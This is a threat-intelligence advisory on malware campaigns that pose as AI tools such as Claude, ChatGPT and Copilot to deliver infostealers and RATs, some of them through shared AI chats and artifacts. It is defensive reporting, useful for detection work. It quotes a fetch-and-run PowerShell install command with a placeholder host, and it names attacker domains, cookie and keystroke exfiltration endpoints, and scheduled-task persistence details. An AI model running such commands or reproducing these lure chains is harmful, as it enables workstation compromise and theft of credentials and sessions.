# Fake AI Tool Campaigns (Claude, ChatGPT, Copilot and others) Deliver Infostealers and RATs to US Organizations

> ANY.RUN tracked 1,258 public sandbox analyses (Apr 15 - Oct 5, 2026) of campaigns impersonating AI platforms such as Claude, ChatGPT/Codex, GitHub Copilot, Gemini, Ollama and OpenClaw to deliver infostealers and RATs (Aura Stealer, MacSync Stealer, HijackLoader, AsyncRAT, Quasar RAT). Delivery relies on malvertising, SEO poisoning, shared AI chats/artifacts and fake download pages, with victims tricked into pasting install commands (InstallFix/ClickFix) or signing into fake browser-in-the-browser windows.

- **Published:** 2026-10-14T11:09:28Z
- **Last reviewed:** 2026-10-14T11:09:28Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-3495
- **ID:** TL-2026-3495
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 35 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Between 2026-04-15 and 2026-10-05, ANY.RUN observed 1,258 public sandbox analyses tied to campaigns impersonating AI products. Claude-themed lures accounted for 601 analyses (48%) and ChatGPT/Codex for 418 (33%). Activity peaked in May 2026 (358 analyses) and stayed above 100 analyses per month from April through September. The USA ranked second by submissions (69 records, 16%) behind India (86, 20%), and ranked first in the fake 'Download Claude' campaign group and in ChatGPT-themed chains. 561 analyses (45%) required the victim to paste a command. Exposure was highest in technology, telecommunications, education, consulting and manufacturing, with healthcare, government and finance also affected. No actor attribution is given by the source.

Five delivery patterns are described. (1) InstallFix (341 analyses): cloned install pages for Claude Code, GitHub Copilot CLI, Codex, Ollama and OpenClaw instruct the victim to run 'irm <lure-domain>/install.ps1 | iex'; the PowerShell then chains to a second 'irm <staging-domain> | iex' (refract3.com), pulling stages from kafeprog7.com or help.xenngypt.com and a stealer payload from GitHub releases. A real Ollama installer was bundled as a decoy. The last full InstallFix chain was seen 2026-09-16. (2) ClickFix / fake 'Download Claude' (220 analyses): cloned download pages on Cloudflare Pages, GitLab Pages, playcode.io and Webflow tell the user to press Win+R and paste a command that runs mshta.exe against an attacker HTA (last-version.install-2026.com), then an encoded PowerShell stage and an infostealer; 38 sessions originated from Google Ads. A fake Cloudflare check on claudedev.net led to a HijackLoader chain. (3) Malicious content on trusted AI platforms (320 analyses): lures embedded in claude.ai artifacts and chatgpt.com shared chats bypass domain-reputation filters; they use Base64-encoded curl commands to /curl/<64-hex> paths (macOS chain via paripassuventures.com delivered MacSync Stealer in 8 of 12 analyses between 2026-08-24 and 2026-09-03), links to a fake 'backup domain' (openai-backup.one), and custom GPT chains routing through Google Sites phishing pages and a PowerShell downloader that fetches from a decimal-encoded IPv4 and installs an MSI (_MouseJiggleStudio.msi) silently via msiexec. (4) Trojanized installers (session-stealing variant): the genuine Claude installer is downloaded while a stager runs in the background, registers with stat30ffooo.xyz, and creates a scheduled task 'mseupdate' that launches headless Microsoft Edge with --remote-debugging-port=9222 and a spoofed 'Google Update 4.3' user agent; cookies, extensions and keystroke data are exfiltrated to /api2.php?method=sendcookjson, sendexts and sendkeys (cookie exfiltration host nucleflowers.xyz). A fake claude-code.exe was identified as Aura Stealer exfiltrating to sys-tools.cfd. (5) Browser-in-the-browser ads phishing (57 analyses): fake Claude Ads, Gemini Ads, Perplexity Ads and Manus beta pages harvest Google credentials via a consistent backend API (POST /api/create/user, POST /api/send/ip, GET /api/checkBan/, GET /api/checkDone/) hosted on Railway and Render with socket.io persistence.

Impact: session theft without MFA, developer workstation compromise (source code, SSH keys, CI/CD tokens, API credentials), and ad/billing account takeover. Persistent backend paths (e.g. /stats-claude-collector.php, /api4.php?method=auth, /api2.php?method=sendcookjson|sendexts|sendkeys, /curl/<64-hex>) outlasted rotating domains and are the most durable hunting pivots. Note: this is a single-vendor primary source (ANY.RUN); the BleepingComputer/eSecurityPlanet reporting on InstallFix against Claude Code (Amatera Stealer payload) is corroborating context from a separate campaign cluster. BeaconBeagle returned no C2 config match for sys-tools.cfd.

## MITRE ATT&CK

- T1608.006 SEO Poisoning
- T1583.008 Malvertising
- T1566.002 Spearphishing Link
- T1204.004 Malicious Copy and Paste
- T1204.002 Malicious File
- T1059.001 PowerShell
- T1059.004 Unix Shell
- T1053.005 Scheduled Task
- T1218.005 Mshta
- T1218.007 Msiexec
- T1539 Steal Web Session Cookie
- T1555.003 Credentials from Web Browsers

## Sources

- [Fake AI Tools Put US Companies at Risk: Inside Counterfeit Claude, ChatGPT, and Copilot](https://any.run/cybersecurity-blog/fake-ai-tools-us-companies/)
- [Fake Claude Code install guides push infostealers in InstallFix attacks](https://bleepingcomputer.com/news/security/fake-claude-code-install-guides-push-infostealers-in-installfix-attacks)
- [Fake Claude Code Install Pages Spread Infostealer Malware](https://www.esecurityplanet.com/artificial-intelligence/fake-claude-code-install-pages-spread-infostealer-malware/)
- [Fake Claude Code Spreads Malware to Windows, macOS Users](https://www.techrepublic.com/article/news-fake-claude-code-install-pages-malware-windows-macos/)
- [MITRE ATT&CK T1204.004 Malicious Copy and Paste](https://attack.mitre.org/techniques/T1204/004/)
- [MITRE ATT&CK T1583.008 Malvertising](https://attack.mitre.org/techniques/T1583/008/)
- [MITRE ATT&CK T1608.006 SEO Poisoning](https://attack.mitre.org/techniques/T1608/006/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-3495